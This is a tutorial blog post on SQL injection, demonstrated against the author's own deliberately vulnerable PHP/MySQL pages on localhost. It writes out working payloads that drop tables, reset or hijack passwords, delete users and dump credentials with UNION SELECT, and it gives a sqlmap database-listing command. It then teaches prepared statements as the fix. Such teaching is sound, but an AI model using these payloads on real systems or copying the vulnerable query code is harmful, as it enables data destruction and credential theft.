SQL injection with examples.

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. Attacker can use this technique to manipulate the database as he wants.
The main reason for sql injection attacks is parsing user inputs as query parameters in the URL. That means using GET method in forms. When we use GET method we clearly can see what parameters are going through the URL with their values. This is very dangerous.
There are so many tools out there we can use in order to find out whether a particular website is vulnerable for sql injection or not. Not only that, tools like sqlmap will help to display database,tables and data inside them on attacker's computer screen.(At the end of the blog post I am going to show how to get databases using sqlmap).
                      Sql injection is like changing the query according to our way. Assume there is a registration page. When someone fills it and submits data he/she entered should go to the database. Or to a specific table in the database. What attacker does is he modify this process. That means he bypass the original query. Why he does this? maybe in order to access the website as a regular user(unauthorized access) or retrieve others username and passwords. There can be a ton of purposes behind this.

Now let's see how to do sql injection with some examples. I have written some php web pages to do this. As the database I have used MySQL database. In my GitHub profile I uploaded all the webpages and the copy of my database.
GitHub link  https://github.com/sajith01prasad/SQL_injection

Example 01



This is a very simple registration form. In my database I have a table called users. In that I have two fields called username(primary key) and password. When the user submit values for these two fields those values will be stored in users table.When you submitted check the url bar.




You will see the values you provided in the registration form are parsed as query parameters in the url.
When an attacker sees this he tries to do sql injection on this page. How to do it?
It is pretty simple. There has to be a "INSERT into" statement behind the code. Anyone can guess this. But what after that?
So he is the my code.




Check line number 17. Instead of using query() function I used multi_query(). That's because in this example when I do the sql injection I stop this query and try to make a new query. In order to execute multiple queries I have to use that function. Otherwise my injection won't be possible.

Now add this line to username and hit enter. No need to provide password.
a','a');drop table users;";$bypassed="

Go to phpmyadmin and check whether the table you created(users) is still there or not. It is not there. Why is that?

Okay this is our original sql query.
$q = "INSERT INTO users (username, password) VALUES (' $username ', ' $password ')";

Now I will substitute what I entered in the username textbox to $username.

$q = "INSERT INTO users (username, password) VALUES (' a','a');drop table users;";$bypassed="', ' $password ')";

Now you can see why users table got deleted.



Example 02

For this example also use the same webpage.
Now think the attacker knows someone's username and he wants to change that person's password so he can use that profile.

I have two users called Sam and Tom in my users table.




Provide these values.
USERNAME - hacker
PASSWORD - I-am-hacker');UPDATE users SET password = 'I-hacked-you' WHERE username = 'sam';";$dummy="

What will happen? Actually first of all a new account will be created with username "hacker" and password "I-am-hacker". Then he changes the password of user called "sam"to "I-hacked-you".

I will put these two inputs into the original query so you can clearly understand it.

$q = "INSERT INTO users (username, password) VALUES (' hacker', 'I-am-hacker');UPDATE users SET password = 'I-hacked-you' WHERE username = 'sam';";$dummy="')";

Now check your table. You will see something like this.






Example 03

I have this web page called update.php




updateQuery.php









This page helps users to change their password.
Now think attacker doesn't know any username. But still he has the ability to change everyone's password at once. how he does it?

this is our original sql statement.

$q = "UPDATE users SET password  = '$password'  WHERE username  = '$username' ";

Now add these values to the form.
USERNAME - a' OR '1' = '1
PASSWORD - hacked

let's combine statements together like we did earlier.

$q = "UPDATE users SET password  = 'hacked'  WHERE username  = 'a' OR '1' = '1'";

Check the database now.




You can see everyone's password is "hacked".

Example 04

User Example 3 resources for this example as well. Make your users table like this.





Now what we can do if multi_query() function is used here instead of query()?



Assume the attacker knows someone's username. Now he can delete this user from the database.

This is our original query.

$q = "UPDATE users SET password  = '$password'  WHERE username  = '$username' ";

Provide these values to the textboxes.

USERNAME - a';DELETE FROM users WHERE username = 'tom';";$dummy="
PASSWORD - a

$q = "UPDATE users SET password  = 'a'  WHERE username  = 'a';DELETE FROM users WHERE username = 'tom';";$dummy="'";

Check your table now. User tom is deleted.




Example 05

Now we need another table called "games". In this table there should be two columns called name(primary key) and category.






search.php










topGames.php

When the user gives the type (eg-games) in search.php page it displays information relates to that type.







Attacker can use this to retrieve all users' username and password.
There are two ways to do this.
Our original statement is this.

$query="SELECT * FROM $type";

1st method.

TYPE -  users


$query="SELECT * FROM users";




2nd method

TYPE - games UNION select username AS name, password AS category FROM users

$query="SELECT * FROM games UNION select username AS name, password AS category FROM users";





These are very few examples for sql injection. Now what we can do in order to prevent sql injection??

Main countermeasure for this is using prepared statements instead of using dynamic queries.

Example

EnterValues.php







preparedStatement.php

In here I am not directly applying user inputs to the sql query. What I do is first define the query and bind it with parameters. After that I assign values(user inputs) to those parameters. Then I execute the query.

bind_param() - this functions bind parameters to the query. In the first argument we should say what are the datatypes of each parameter. Since username and password both are strings I provide "ss" as the first argument.



I have a user called sam in my database.





Now let's try to do what we did in example 01.


USERNAME -  a','a');drop table userprepared;";$bypassed="

Now check the table.






Now the entire thing I input in the textbox is taken as a one single string.

Therefore using prepared statements in codes we can prevent SQL injection from happening.


SQLMAP

Sqlmap is a tool which helps us to get information about sql databases. Attackers can use this tool for various kind of things. But let's see how we can use sqlmap to get databases.

First of all you have install sqlmap. Go to this link and download sqlmap http://sqlmap.org/
 . If you are using linux operating system or macOS you simple can cd into the folder and run this command.
python sqlmap.py 
[Python should be already installed on your computer] .

 If sqlmap is working you will see something like this. 

 


Then you have to give this command.  

sudo python sqlmap.py -u http://localhost/sql_injection_examples/InsertQuery.php?username=12 --dbs

-u :- tells target this particular URL
--dbs :- This is there to tell sqlmap to view all the databases

When you run that command you will get all the databases in your DBMS.




Now you can see the database I created for these examples "mysqlinjection" is there in the list.

Cheers.!!! Leave a comment if you have any doubt.